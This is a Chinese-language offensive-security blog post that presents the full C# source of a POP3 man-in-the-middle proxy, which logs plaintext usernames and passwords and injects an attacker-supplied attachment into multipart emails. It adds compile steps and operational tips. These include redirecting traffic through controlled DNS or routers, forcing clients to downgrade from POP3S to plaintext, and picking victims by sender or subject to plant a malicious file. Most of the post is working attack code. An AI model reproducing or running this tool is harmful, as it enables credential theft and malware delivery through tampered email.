文章代码仅限技术交流使用,请遵守国家相关法规。
因使用不当造成的问题与本人无关。
渗透中有时会遇到控制DNS或路由交换设备的场景,此时我们可以发动中间人攻击。
大多数时候,中间人攻击是面向浏览器的,由于HTTPS与HSTS的普及,现在已经不能取得较好的结果。
而在实际的办公网络中,邮件客户端与对应的POP/IMAP/SMTP协议也极为常见。从社工的角度看,对可信发件人的邮件进行篡改的成功率会更高于浏览器钓鱼。
同时,绝大部分邮件客户端在自动查找服务器时会尝试所有协议,大部分客户端和服务器均没有强制SSL的要求,这在对方使用POP3S(995端口)时尝试进行降级也是非常有利的条件。
0x01 原理
POP协议和HTTP类似,同样属于早期的纯文本协议,一封EML邮件和一个HTTP POST包并没有本质区别。实际上,包含附件的EML和HTTP上传文件的multipart包几乎一模一样。
所以只要将multipart的结束标志替换为一个attachment块即可:
唯一要注意的是一个小区别:
multipart/alternative格式的邮件包含文本和html两个部分,其中html部分为现代邮件客户端显示的内容,文本部分为老式邮件客户端显示的内容,其他部分(如附件等)将被忽略。
而现在绝大部分的邮件客户端在处理multipart/relative格式时提供了针对multipart/alternative格式的兼容性,所以针对类似情况,在处理时还需要将邮件头中的Content-Type修改为multipart/relative。
0x02 简单实现
下面(简陋的)的代码实现了以下两个功能:
针对客户端:记录用户名密码。
针对服务器:修改multipart类型的邮件,注入一个自己的附件。
(注:由于没有好用的解析库,暂时不支持纯文本/纯HTML邮件。)
using System; using System.Text; using System.Threading; using System.IO; using System.Net; using System.Net.Sockets; namespace Zcg.Tests { class PopFuckProxy { enum state { header, replace } static string fn = ""; static string b64 = ""; static void Main(string[] args) { Console.WriteLine("POP3 MITM tool v0.1"); Console.WriteLine("Part of GMH's fuck Tools, Code By zcgonvh.\r\n"); try { if (args.Length > 4) { fn = args[4]; b64 = Convert.ToBase64String(File.ReadAllBytes(fn), Base64FormattingOptions.InsertLineBreaks); fn=Path.GetFileName(fn); } TcpListener tl = new TcpListener(IPAddress.Parse(args[0]), int.Parse(args[1])); tl.Start(); while (true) { NetworkStream nsc = tl.AcceptTcpClient().GetStream(); TcpClient tc = new TcpClient(); tc.Connect(args[2], int.Parse(args[3])); NetworkStream nss = tc.GetStream(); new Thread(Read).Start(new object[] { nsc, nss }); new Thread(Write).Start(new object[] { nsc, nss }); } } catch (Exception ex) { if (ex is IndexOutOfRangeException || ex is FormatException) { Console.WriteLine("usage: PopFuckProxy <lhost> <lport> <rhost> <rport> [attachment]"); } else { Console.WriteLine(ex); } } } static void Read(object o) { try { object[] obj = o as object[]; NetworkStream nsc = obj[0] as NetworkStream; NetworkStream nss = obj[1] as NetworkStream; StreamReader sr = new StreamReader(nsc); StreamWriter sw = new StreamWriter(nss); sw.AutoFlush = true; string s = sr.ReadLine(); while (s != null) { if (s.StartsWith("USER")) { Console.WriteLine("[!] " + s); } else if (s.StartsWith("PASS")) { Console.WriteLine("[!] " + s); } sw.WriteLine(s); s = sr.ReadLine(); } } catch { } } static void Write(object o) { try { object[] obj = o as object[]; NetworkStream nsc = obj[0] as NetworkStream; NetworkStream nss = obj[1] as NetworkStream; StreamWriter sw = new StreamWriter(nsc); sw.AutoFlush = true; StreamReader sr = new StreamReader(nss); state stat = state.header; string boundary = ""; string boundarye = ""; string s = sr.ReadLine(); while (s != null) { switch (stat) { case state.header: { if (boundarye != "" && s == "") { stat = state.replace; } else if (s.StartsWith("Content-Type") && s.IndexOf("multipart/") > 0) { if (s.IndexOf("multipart/alternative") > 0) { s = s.Replace("multipart/alternative", "multipart/relative"); } if (s.IndexOf("boundary=") < 0) { sw.WriteLine(s); s = sr.ReadLine(); } var arr = s.Split(new string[] { "boundary=" }, 2, StringSplitOptions.RemoveEmptyEntries); if (arr.Length == 2) { boundary = "--" + arr[1].Trim(' ', '\t', '\'', '"'); boundarye = boundary + "--"; stat = state.replace; } } else if (s.StartsWith("Subject")) { Console.WriteLine("[+] " + s); } sw.WriteLine(s); break; } case state.replace: { if (s == boundarye && fn != "") { sw.WriteLine(boundary); sw.WriteLine("Content-Type: application/octet-stream;"); sw.WriteLine(" charset=\"utf-8\";"); sw.WriteLine(" name=\"" + System.Web.HttpUtility.UrlEncode(fn,Encoding.UTF8) + "\""); sw.WriteLine("Content-Disposition: attachment; filename=\"" + System.Web.HttpUtility.UrlEncode(fn,Encoding.UTF8) + "\""); sw.WriteLine("Content-Transfer-Encoding: base64"); sw.WriteLine(); sw.WriteLine(b64); sw.WriteLine(boundarye); stat = state.header; boundarye = ""; Console.WriteLine("[!] Attachment added!"); } else { sw.WriteLine(s); } break; } } s = sr.ReadLine(); } } catch { } } } }
编译:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc POPFuckProxy.cs #dotnet core环境下请自行创建工程复制粘贴。
0x03 测试效果
如图所示,客户端通过11110端口进行POP3协议收信,用户名和密码已被记录,同时邮件附件被添加了指定的data.rar。
0x04 真实场景的一些Tips
1.鉴于场景大多时候是通过DNS、路由等方式,将流量重定向到自己的vps或服务器。所以此时端口也要改成110,以防客户端找不到端口的问题。
2.尽量不要用其他工具代理143、995、993三个端口,这样在对方自动发现尝试时可以“强迫”降级到POP3;25和465最好进行代理,防止影响目标使用。
3.可以在处于state.header状态时检查From、Subject,根据关键词或发件者(以及发件者备注)来进行更精确的投放。
4.可以在代码中新建两个StreamWriter,把流量保存到文件,或者魔改OpenPOP等库把邮件本体进行导出。当然如果图省事也可以用tcpdump+tshark。
Github:https://github.com/zcgonvh/POPFuckProxy
Release:懒得打包加密了,自己编译吧~